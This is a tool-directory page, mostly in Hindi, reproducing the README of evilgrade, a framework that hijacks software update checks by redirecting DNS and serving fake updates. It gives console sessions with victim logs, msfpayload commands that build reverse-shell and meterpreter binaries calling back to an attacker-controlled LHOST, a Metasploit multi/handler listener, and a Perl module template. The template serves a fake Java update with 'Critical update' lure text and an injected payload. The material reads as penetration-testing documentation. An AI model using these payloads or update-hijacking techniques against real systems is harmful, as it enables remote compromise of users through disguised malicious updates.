Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
evilgrade — Evilgrade एक मॉड्यूलर फ्रेमवर्क है जो उपयोगकर्ता को खराब अपग्रेड कार्यान्वयन का लाभ उठाने की अनुमति देता है, नकली अपडेट इंजेक्ट करके। | Kitploit
उपकरण/GitHubGitHub/infobyte/evilgrade
शोषण फ्रेमवर्कपेलोड जनरेशनवेब प्रॉक्सी और अवरोधनपेनिट्रेशन टेस्टिंगसामाजिक इंजीनियरिंगरेड टीमिंगDNS विश्लेषण
GitHubinfobyte/evilgrade

evilgrade

Evilgrade एक मॉड्यूलर फ्रेमवर्क है जो उपयोगकर्ता को खराब अपग्रेड कार्यान्वयन का लाभ उठाने की अनुमति देता है, नकली अपडेट इंजेक्ट करके।

रिपॉजिटरी देखें
1.3k2764 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट

Faraday Security Research -- | ISR-evilgrade | www.faradaysec.com | --

.:: [संक्षिप्त अवलोकन] ::.

Evilgrade एक मॉड्यूलर फ्रेमवर्क है जो उपयोगकर्ता को नकली अपडेट इंजेक्ट करके खराब अपग्रेड कार्यान्वयन का लाभ उठाने की अनुमति देता है। यह पहले से तैयार बाइनरी (एजेंट), तेज पेंटेस्ट के लिए एक काम करने वाला डिफ़ॉल्ट कॉन्फ़िगरेशन, और अपने स्वयं के WebServer और DNSServer मॉड्यूल के साथ आता है। नई सेटिंग्स स्थापित करना आसान है, और जब नए बाइनरी एजेंट सेट किए जाते हैं तो इसका एक ऑटोकॉन्फ़िगरेशन होता है।

* मुझे evilgrade का उपयोग कब करना चाहिए?

यह फ्रेमवर्क तब काम आता है जब हमलावर होस्टनाम रीडायरेक्शन (पीड़ित के DNS ट्रैफ़िक में हेरफेर) करने में सक्षम होता है, और ऐसा 2 परिदृश्यों में किया जा सकता है:

आंतरिक परिदृश्य:
  • आंतरिक DNS एक्सेस
  • ARP स्पूफिंग
  • DNS कैश पॉइज़निंग
  • DHCP स्पूफिंग
  • TCP हाइजैकिंग
  • वाई-फाई एक्सेस पॉइंट प्रतिरूपण
बाहरी परिदृश्य:
  • आंतरिक DNS एक्सेस
  • DNS कैश पॉइज़निंग
* यह कैसे काम करता है?

Evilgrade मॉड्यूल के साथ काम करता है, प्रत्येक मॉड्यूल में एक कार्यान्वित संरचना होती है जो किसी विशिष्ट एप्लिकेशन/सिस्टम के लिए नकली अपडेट का अनुकरण करने के लिए आवश्यक होती है।

* कौन से ओएस समर्थित हैं?

ISR-Evilgrade क्रॉस-प्लेटफॉर्म है, यह केवल शोषण के लिए सही लक्ष्य प्लेटफॉर्म के लिए उपयुक्त पेलोड होने पर निर्भर करता है।

कार्यान्वित मॉड्यूल:


  • Freerip 3.30
  • Jet photo 4.7.2
  • Teamviewer 5.1.9385
  • ISOpen 4.5.0
  • Istat.
  • Gom 2.1.25.5015
  • Atube catcher 1.0.300
  • Vidbox 7.5
  • Ccleaner 2.30.1130
  • Fcleaner 1.2.9.409
  • Allmynotes 1.26
  • Notepad++ 5.8.2
  • Java 1.6.0_22 winxp/win7
  • aMSN 0.98.3
  • Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)
  • Mirc 7.14
  • Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702, Microsoft works)
  • Dap 9.5.0.3
  • Winscp 4.2.9
  • AutoIt Script 3.3.6.1
  • Clamwin 0.96.0.1
  • AppTapp Installer 3.11 (Iphone/Itunes)
  • getjar (facebook.com)
  • Google Analytics Javascript injection
  • Speedbit Optimizer 3.0 / Video Acceleration 2.2.1.8
  • Winamp 5.581
  • TechTracker (cnet) 1.3.1 (Build 55)
  • Nokiasoftware firmware update 2.4.8es - (Windows software)
  • Nokia firmware v20.2.011
  • BSplayer 2.53.1034
  • Apt ( < Ubuntu 10.04 LTS)
  • Ubertwitter 4.6 (0.971)
  • Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45
  • Cpan 1.9402
  • VirtualBox (3.2.8 )
  • Express talk
  • Filezilla
  • Flashget
  • Miranda
  • Orbit
  • Photoscape.
  • Panda Antirootkit
  • Skype
  • Sunbelt
  • Superantispyware
  • Trillian <= 5.0.0.26
  • Adium 1.3.10 (Sparkle Framework)
  • VMware
  • more...
  • /docs/CHANGES

.:: [मुख्य उपयोग] ::.

यह एक IOS कंसोल के समान काम करता है``` evilgrade>help Type 'help command' for more detailed help on a command. Commands: configure - Configure - no help available exit - exits the program help - prints this screen, or help on 'command' reload - Reload to update all the modules - no help available restart - Restart webserver - no help available set - Configure variables - no help available show - Display information of . start - Start webserver - no help available status - Get webserver status - no help available stop - Stop webserver - no help available version - Display framework version. - no help available

Object: options - Show options of current module. vhosts - Show VirtualHosts of current module. modules - List all modules available for use. active - Show active modules.

root@kitploit:~
## कार्यान्वित मॉड्यूल की सूची``` console
evilgrade>show modules

List of modules:
===============

...
...
...

- 63 modules available.

एक निर्दिष्ट मॉड्यूल कॉन्फ़िगर करें``` console

evilgrade>conf sunjava evilgrade(sunjava)>

root@kitploit:~
#### सभी VirtualHosts दिखाएँ।
#### VirtualHost फ़ील्ड में वे डोमेन हैं जिन्हें हमारा वेबसर्वर हमारे लिए अनुकरण करने वाला है।``` console
evilgrade>show vhosts

Virtual hosts:
=============

[
  "java.sun.com",
  "javadl-esd.sun.com",
  ...
  ...
  ...
]

वर्तमान मॉड्यूल के विकल्प दिखाएं।

agent: यह हमारा नकली अपडेट बाइनरी है, हमें उस पथ को सेट करना होगा जहां यह स्थित है या एक गतिशील नकली अपडेट बाइनरी जनरेशन लागू करना होगा (ADVANCED देखें)।``` console

टूल डाउनलोड करें

evilgrade(sunjava)>show options

Display options:

Name = Sun Microsystems Java Version = 2.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "java.sun.com|javadl-esd.sun.com"

.-------------------------------------------------------------------------------------------------------------------------. | Name | Default | Description | +--------------+-------------------------------------------------+--------------------------------------------------------+ | website | http://java.com/moreinfolink | Website displayed in the update | | enable | 1 | Status | | atitle | Critical vulnerability | Title name to be displayed in the systray item popup | | arg | | Arg passed to Agent | | adescription | This critical update fix internal vulnerability | Description to be displayed in the systray item popup | | description | This critical update fix internal vulnerability | Description to be displayed during the update | | agent | ./agent/reverseshellsign.exe | Agent to inject | | title | Critical update | Title name displayed in the update | '--------------+-------------------------------------------------+--------------------------------------------------------'

root@kitploit:~
#### सेवाएँ प्रारंभ करें (DNS Server and WebServer)``` console
evilgrade>start
evilgrade>
[28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...
evilgrade>
[28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...

#### Waiting for victims

evilgrade>
[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"
evilgrade>
[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"
evilgrade>
[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"
evilgrade>
[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"

स्थिति और पीड़ित लॉग दिखाएँ``` console

evilgrade>show status Webserver (pid 4134) already running

Users status:

.---------------------------------------------------------------------------------------------------------------. | Client | Module | Status | Md5,Cmd,File | +----------------+------------------+--------+------------------------------------------------------------------+ | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" | '----------------+------------------+--------+------------------------------------------------------------------'

root@kitploit:~
## .:: [गहन उपयोग] ::.

### कमांड
#### configure / conf - <module-name> कॉन्फ़िगर करें

उदाहरण:
-------``` console
evilgrade>configure sunjava
evilgrade(sunjava)>

evilgrade>conf sunjava
evilgrade(sunjava)>

## 'conf' takes us back to the global configuration
evilgrade(sunjava)>conf
evilgrade>


##
reload    - Reload to get all modules update (to refresh loaded modules, useful on development)
start     - Start webserver
stop      - Stop webserver (fake update server)

उदाहरण: -------``` console evilgrade>start evilgrade> [28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ... evilgrade> [28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...

#######################################

Example:

evilgrade>stop Stopping WEBSERVER [OK] Stopping DNSSERVER [OK]

#######################################

restart - Restart services (WebServer and DNS Server) stops and starts again

#######################################

status - Get webserver and victims status

Example:

evilgrade>show status Webserver (pid 4134) already running

Users status:

.---------------------------------------------------------------------------------------------------------------. | Client | Module | Status | Md5,Cmd,File | +----------------+------------------+--------+------------------------------------------------------------------+ | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" | '----------------+------------------+--------+------------------------------------------------------------------'

#######################################

show - Display information of .

#######################################

show active - Display active modules in the webserver

#######################################

show modules - Display implemented modules

#########################################

show options - Display modules/global options

Example:

evilgrade>show options

Display options:

.-----------------------------------------------------------------------------------. | Name | Default | Description | +-------------+-----------+---------------------------------------------------------+ | DNSEnable | 1 | Enable DNS Server ( handle virtual request on modules ) | | DNSAnswerIp | 127.0.0.1 | Resolve VHost to ip ) | | DNSPort | 53 | Listen Name Server port | | debug | 1 | Debug mode | | port | 80 | Webserver listening port | | sslport | 443 | Webserver SSL listening port | '-------------+-----------+---------------------------------------------------------'

evilgrade> evilgrade(notepadplus)>conf vmware evilgrade(vmware)>show options (without started services)

Display options:

Name = VMware Server Version = 1.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "www.vmware.com"

.----------------------------------------------. | Name | Default | Description | +--------+-------------------+-----------------+ | enable | 1 | Status | | agent | ./agent/agent.exe | Agent to inject | '--------+-------------------+-----------------'

evilgrade(vmware)>show options (with started services after setting agent)

Display options:

Name = VMware Server Version = 1.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "www.vmware.com"

.--------------------------------------------------------------------------------------------------. | Name | Default | Description | +-------------+------------------------------------------------------------------+-----------------+ | enable | 1 | Status | | agentmd5 | f80af637642170507bda998b6f2015fa | | | agentsize | 54576 | | | agent | ./agent/agent.exe | Agent to inject | | agentsha256 | 44f4e3f65f6ca375df4e0247fa0ee1efedbe2965a1c35e910d8d035ec61b76bd | | '-------------+------------------------------------------------------------------+-----------------'

#########################################

set - Configure variables global or modules

Example:

evilgrade>show options

Display options:

.-----------------------------------------------------------------------------------. | Name | Default | Description | +-------------+-----------+---------------------------------------------------------+ | DNSEnable | 1 | Enable DNS Server ( handle virtual request on modules ) | | DNSAnswerIp | 127.0.0.1 | Resolve VHost to ip ) | | DNSPort | 53 | Listen Name Server port | | debug | 0 | Debug mode | | port | 80 | Webserver listening port | | sslport | 443 | Webserver SSL listening port | '-------------+-----------+---------------------------------------------------------'

###Let's enable DEBUG option and set as DNSAnswerIp our Inet address (192.168.1.4)

evilgrade>set debug 1 #Enable debug set debug, 1

evilgrade>set DNSAnswerIp 192.168.1.4 #Ip where evilgrade's DNS Server is listening set DNSAnswerIp, 192.168.1.4

evilgrade>show options

Display options:

.-------------------------------------------------------------------------------------. | Name | Default | Description | +-------------+-------------+---------------------------------------------------------+ | DNSEnable | 1 | Enable DNS Server ( handle virtual request on modules ) | | DNSAnswerIp | 192.168.1.4 | Resolve VHost to ip ) | | DNSPort | 53 | Listen Name Server port | | debug | 1 | Debug mode | | port | 80 | Webserver listening port | | sslport | 443 | Webserver SSL listening port | '-------------+-------------+---------------------------------------------------------'

###############################

exit - exits the program

#######################################

help - prints this screen, or help on 'command'

#######################################

root@kitploit:~
## .:: [उन्नत] ::.

- मॉड्यूल विकल्प:
प्रत्येक मॉड्यूल के विशेष विकल्प होते हैं, लेकिन "agent" फ़ील्ड हमेशा मौजूद रहता है।
agent हमारा नकली अपडेट बाइनरी है, हमें उस पथ को सेट करना होगा जहां यह स्थित है या एक डायनामिक नकली अपडेट बाइनरी जनरेशन लागू करना होगा।

[डायनामिक नकली अपडेट बाइनरी] हमारे बाइनरी को उत्पन्न करने के लिए एक बाहरी कमांड के निष्पादन की अनुमति देता है, उदाहरण के लिए मेटास्प्लॉइट फ्रेमवर्क के msfpayload का उपयोग करना।
इस सुविधा से हम मेटास्प्लॉइट का कोई भी पेलोड उत्पन्न कर सकते हैं या बाइनरी बनाने के लिए बाहरी इंटरफ़ेस का उपयोग कर सकते हैं।

# Example 1:```
evilgrade(sunjava)>set agent '["/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.233.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>"]'

इस स्थिति में प्रत्येक आवश्यक अपडेट बाइनरी के लिए हम "windows/shell_reverse_tcp" पेलोड के साथ एक नकली अपडेट बाइनरी उत्पन्न करते हैं, जो 192.168.233.2 पते पोर्ट 4141 पर कनेक्ट करने के लिए रिवर्स शेल का उपयोग करता है। लेबल <%OUT%><%OUT> एक विशेष टैग है जो यह पता लगाने के लिए है कि आउटपुट बाइनरी कहाँ उत्पन्न होगी। Evilgrade "डायनेमिक फेक अपडेट बाइनरी फीचर" के उपयोग का पता लगाता है, क्योंकि वर्गाकार कोष्ठकों '[]' के बीच एक वाक्य होता है। उन कोष्ठकों के अंदर हमारे पास एक स्ट्रिंग होती है जो "" (डबल कोट्स) के बीच भी होती है, जिसे perl का उपयोग करके संकलित किया जाता है।

उदाहरण के लिए यदि हम उपयोग करते हैं:``` evilgrade(sunjava)>set agent '["./generatebin -o <%OUT%>/tmp/update".int(rand(256)).".exe<%OUT%>"]'

root@kitploit:~
फिर हर बार जब हमें एक बाइनरी अनुरोध मिलता है, evilgrade लाइन को संकलित करेगा और अंतिम स्ट्रिंग को निष्पादित करेगा "./generatebin -o /tmp/update(random).exe"
विभिन्न एजेंट उत्पन्न करना।


एक आसान विकल्प, लेकिन गतिशील रूप से नहीं, टर्मिनल पर msfpayload से सीधे पेलोड उत्पन्न करना और मैन्युअल रूप से मॉड्यूल के कॉन्फ़िगरेशन में असाइन करना हो सकता है।

# उदाहरण 2:

(evilgrade के बाहर)```
[team@faraday]$ msfpayload windows/meterpreter/reverse_ord_tcp LHOST=192.168.100.2 LPORT=4444 X > /tmp/reverse-shell.exe

(evilgrade के अंदर)``` evilgrade(sunjava)>set agent /tmp/reverse-shell.exe

root@kitploit:~
हमारे पेलोड उत्पन्न होने के बाद, हम पहले से निर्दिष्ट LHOST पर एक मल्टी हैंडलर को सुनने के लिए छोड़ देते हैं।

(evilgrade के बाहर)```
[team@faraday]$ msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.100.2 LPORT=4444 E
[*] Started reverse handler on 192.168.100.2:4444
[*] Starting the payload handler...

.:: [मॉड्यूल विकास] ::.

मॉड्यूल विकास बहुत सरल है। चूँकि evilgrade मॉड्यूल पर आधारित है, आपको बस एक पैकेज .pm (perl मॉड्यूल) का उपयोग करना होता है। इस मामले में हम sunjava अपडेट मॉड्यूल का वर्णन करेंगे (टिप्पणियाँ # के साथ):``` perl package modules::sunjava;

use strict; use Data::Dump qw(dump);

my $base= { 'name' => 'Sun Microsystems Java', #name of the module to display in the framework 'version' => '2.0', #internal module version 'appver' => '<= 1.6.0_22', #last application version tested with this evilgrade module 'author' => [ 'Francisco Amato < famato +[AT]+ faradaysec.com>' ], #author 'description' => qq{}, #brief description 'vh' => '(java.sun.com|javadl-esd.sun.com)', #VirtualHosts that the application uses to retrieve information about the update configuration files and update binaries.

root@kitploit:~
#Then we have the request object's collection
'request' => [
#Each object it's a possible HTTP request inside the virtualhost configured for the module (java.sun.com)
    {
    'req' => '(/update/[.\d]+/map\-[.\d]+.xml|/update/1.6.0/map\-m\-1.6.0.xml)', #The required URL, regex friendly
    'type' => 'file', #it's the response type (file|string|agent|install)
     #we can use:
                  #file: response with content file referenced in the "file" option below (./include/sunjava_map.xml)
                  #string: response with a string referenced in the "string" options below
                  #agent:  response with content file referenced in the "agent" options (options section)
                  #install: response with content file referenced in the "file" option below
                    #It's used to know if the fake update was executed
                    #In some update process we can specify a final page after update installed
                    #so we send to a controller page.
    'method' => '', #not implemented yet
    'bin'    => '', #set to 1 if we are going to send a binary file
    'string' => '', #if we have chosen the 'type' string then in this variable we set the response
    'parse' => '', #set to 1 if the file or string need be parsed with options
    'file' => './include/sunjava/sunjava_map.xml'
    },

    {
    'req' => '^/java_update.xml$', #regex friendly
    'type' => 'file', #file|string|agent|install
    'method' => '', #any
    'bin'    => '',
    'string' => '',
    'parse' => '1',
    'file' => './include/sunjava/sunjava_update.xml'
    },
    {
    'req' => '/x.jnlp', #regex friendly
    'type' => 'file', #file|string|agent|install
    'method' => '', #any
    'bin'    => '',
    'string' => '',
    #In this case we parse the file
                'parse' => '1',
    #To parse the file we use special tags, like <%OPTIONAME%> inside the "file" or "string" field
          #This tags are replaced with the values of the options, for example
          #<%TITLE%> will be replaced by 'Critical update'
    'file' => './include/sunjava/x.jnlp'
    },
    {
    'req' => '.jar', #regex friendly
    'type' => 'file', #file|string|agent|install
    'method' => '', #any
    'bin'    => 1,
    'string' => '',
    'parse' => '',
    'file' => './include/sunjava/JavaPayload/FunnyClass2.jar'
    },

    {
    'req' => '.exe', #regex friendly
    'type' => 'agent', #Here we have an agent type with a binary response
    'bin'    => 1,
    'method' => '', #any
    'string' => '',
    'parse' => '',
    'file' => ''
    }
],

#Options
#Here we have the options that will be displayed with "show options" inside the current module.
#This options are used to parse the string or a file using in the responses
'options' => {  'agent'  => { 'val' => './agent/java/javaws.exe', #The default value
          'desc' => 'Agent to inject'}, #Brief description
    'arg'    => { 'val' => 'http://java.sun.com/x.jnlp"',
          'desc' => 'Arg passed to Agent'},
    'enable' => { 'val' => 1,
          'desc' => 'Status'},

#The following is a dynamic hidden option,
#In this case we use the tag <%NAME%> to parse the files and execute perl functions to get randoms values
#You can use whatever you like in perl, if you're wishing to use more functions check "isrcore/utils.pm"
                'name'  => { 'val' => "'javaupdate'.isrcore::utils::RndAlpha(isrcore::utils::RndNum(1))",
                            'hidden' => 1,
                      'dynamic' =>1,},

#All the options depend on the update process. You have to research the possible variables and implement them on your module
#These are the mostly common update messages, webpages, descriptions, popup messages, title, etc
    'title'  => { 'val' => 'Critical update',
          'desc' => 'Title name displayed in the update'},
    'description' => { 'val' => 'This critical update fix internal vulnerability',
      'desc' => 'Description to be displayed during the update'},
    'atitle'  => { 'val' => 'Critical vulnerability',
           'desc' => 'Title name to be displayed in the systray item popup'},
    'adescription' => { 'val' => 'This critical update fix internal vulnerability',
      'desc' => 'Description  to be displayed in the systray item popup'},
    'website' => { 'val' => 'http://java.com/moreinfolink',
           'desc' => 'Website displayed in the update'}
 }

};

root@kitploit:~
## .:: [टिप्स] ::.

1) evilgrade को एक ऐसे उपयोगकर्ता के साथ चलाना न भूलें जिसके पास लिसनिंग सॉकेट बनाने की अनुमति हो, अन्यथा आप evilgrade की सेवाओं का उपयोग नहीं कर पाएंगे।

2) जब भी आप evilgrade चल रहे होने पर किसी मॉड्यूल को संशोधित करें, तो उन्हें 'reload' करना न भूलें।

3) सेवाएँ शुरू करने से पहले बाइनरी 'agents' सेट करें, क्योंकि कुछ ऐसे फ़ील्ड हैं जिन्हें evilgrade आपके लिए भर देगा (agentmd5, agentsha256, और agentsize) जो उनके पहले से चलने पर नहीं किए जा सकते।

4) यदि आप <%AGENTSIZE%>, <%AGENTMD5%>, <%URL\_FILE%>, <%URL\_FILE\_EXT%>, या विकल्प अनुभाग में परिभाषित कस्टम वेरिएबल जैसे चरों के साथ एक गतिशील प्रतिक्रिया का उपयोग कर रहे हैं, तो *parse* को 1 पर सेट करना न भूलें।

5) एजेंट इंजेक्ट करने के लिए भी यही बात लागू होती है, आपको *bin* फ़्लैग को 1 पर सक्षम करना होगा।

6) यदि आप HTTP का उपयोग करके सादा पाठ प्रतिक्रियाएँ बनाना चाहते हैं, तो *cheader* फ़्लैग का उपयोग करें। उदाहरण नीचे दिया गया है:```
        {   'req' => '/sitepath/download/file.zip'
            ,    #regex friendly
            'type'    => 'string',                  #file|string|agent|install
            'method'  => '',                        #any
            'bin'     => '',
            'string'  => '',
            'parse'   => '1',
            'file'    => '',
            'cheader' => "HTTP/1.1 302 Found\r\n"
                . "Location: http://sitedomain.com/<%URL_FILE%>.exe \r\n"
                . "Content-Length: 0 \r\n"
                . "Connection: close \r\n\r\n",
        },

7) To filter via User-Agent, use as an example the Sparkle2 module. In base add  'useragent' => 'true', and on a request use as you would use the 'req' field but for user agents in 'useragent'. Note that this field already stripped "User-Agent: ".

.:: [आवश्यकताएँ] ::.

Perl मॉड्यूल```

root@kitploit:~
Data::Dump
Digest::MD5
Time::HiRes
RPC::XML
root@kitploit:~
## .:: [अधिक जानकारी] ::.

यह फ्रेमवर्क निम्नलिखित सुरक्षा सम्मेलनों में प्रस्तुत किया गया था:```
· ekoparty 2007 [Buenos Aires, Argentina] [www.ekoparty.org]
· Troopers 2008 [Munich, Germany] [www.troopers08.org]
· Shakacon 2008 [Hawaii, USA] [www.shakacon.org]
· H2HC 2009 [Brazil] [www.h2hc.com.br]
· Blackhat Arsenal & Defcon 2010 [Las Vegas, USA] [www.blackhat.com www.defcon.org]

.:: [लेखक] ::.

Francisco Amato famato+at+faradaysec+dot+com